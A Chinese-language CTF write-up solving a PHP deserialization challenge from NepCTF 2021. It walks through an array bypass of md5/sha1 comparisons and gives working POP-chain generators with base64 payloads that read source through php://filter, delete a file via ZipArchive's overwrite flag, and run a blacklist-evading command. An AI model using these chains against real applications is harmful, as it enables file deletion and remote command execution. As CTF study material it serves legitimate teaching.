[NepCTF 2021]梦里花开牡丹亭
进入题目,给出源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){ // 当waf.txt没读取成功时才能得到flag
shell($content);
}else{
echo file_get_contents($filename.".php"); // filename=php://filter/read=convert.base64-encode/resource=shell
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}
这是一道反序列化题目,但是前面加了一个简单的PHP特性。
数组绕过哈希比较
由于md5()
和sha1()
函数都无法处理数组,因此传入一个数组会返回false。因此这里可以绕过需要两个不同的数但是其哈希值要相等。
example:
利用php://filter读文件
我们可以看到Open类里面的open()
方法,当waf.txt
文件存在的时候会执行echo file_get_contents($filename.".php");
,而调用这个类方法是在Login类里面的checking()
方法,
而调用Login类的checking()
方法的是Game类里面的__destruct()
内置方法,因此我们就能够找到一条完整的利用链了,POC:
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "php://filter/read=convert.base64-encode/resource=shell";
$poc->content = "xxx";
echo base64_encode(serialize($poc));
得到:
Tzo0OiJHYW1lIjo3OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjY6ImNob2ljZSI7TjtzOjg6InJlZ2lzdGVyIjtzOjU6ImFkbWluIjtzOjQ6ImZpbGUiO086NDoiT3BlbiI6MDp7fXM6ODoiZmlsZW5hbWUiO3M6NTQ6InBocDovL2ZpbHRlci9yZWFkPWNvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1zaGVsbCI7czo3OiJjb250ZW50IjtzOjM6Inh4eCI7fQ==
执行payload读取到shell.php的源码base64编码:
shell.php
<?php
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}
利用ZipArchive类删除文件
联合index.php里面的Open类:
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){ // 当waf.txt没读取成功时才能得到flag
shell($content);
}else{
echo file_get_contents($filename.".php"); // filename=php://filter/read=convert.base64-encode/resource=shell
}
}
}
可知我们只要使 file_get_contents('waf.txt')
读取失败就可以进入 shell($content)
来执行系统命令。所以我们应该要想办法将waf.txt这个文件删除,这样就会读取失败,才能执行我们的命令。
刚好我们的ZipArchive类里面也有一个open()
方法,
ZipArchive::open($filename, $flags = null)
如果设置flags参数的值为 ZipArchive::OVERWRITE
的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8。
所以我们利用ZipArchive原生类调用open方法,即可将即可将$filename(waf.txt)删除:
<?php
// highlight_file(__FILE__);
error_reporting(-1);
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new ZipArchive();
$poc->filename = "waf.txt";
$poc->content = 8;
echo base64_encode(serialize($poc));
?>
得到payload:
Tzo0OiJHYW1lIjo3OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjY6ImNob2ljZSI7TjtzOjg6InJlZ2lzdGVyIjtzOjU6ImFkbWluIjtzOjQ6ImZpbGUiO086MTA6IlppcEFyY2hpdmUiOjU6e3M6Njoic3RhdHVzIjtpOjA7czo5OiJzdGF0dXNTeXMiO2k6MDtzOjg6Im51bUZpbGVzIjtpOjA7czo4OiJmaWxlbmFtZSI7czowOiIiO3M6NzoiY29tbWVudCI7czowOiIiO31zOjg6ImZpbGVuYW1lIjtzOjc6IndhZi50eHQiO3M6NzoiY29udGVudCI7aTo4O30=
执行之后即可删除waf.txt。注意我这里在本地复现的时候需要把目录文件夹的所有权和分组都给到www-data才能成功删除文件
命令执行绕过黑名单和字符数限制
最后一步就是执行我们的命令去读flag,回过头来看我们的shell.php
<?php
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}
这里首先限制了我们的命令长度要小于10个字符,然后字符里面不能有黑名单字符出现,这里我们绕过的方法很多,举个例:
n\l /flag
POC:
<?php
// highlight_file(__FILE__);
error_reporting(-1);
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "xxx";
$poc->content = "n\l /flag";
echo base64_encode(serialize($poc));
?>
得到payload:
Tzo0OiJHYW1lIjo3OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjY6ImNob2ljZSI7TjtzOjg6InJlZ2lzdGVyIjtzOjU6ImFkbWluIjtzOjQ6ImZpbGUiO086NDoiT3BlbiI6MDp7fXM6ODoiZmlsZW5hbWUiO3M6MzoieHh4IjtzOjc6ImNvbnRlbnQiO3M6OToiblxsIC9mbGFnIjt9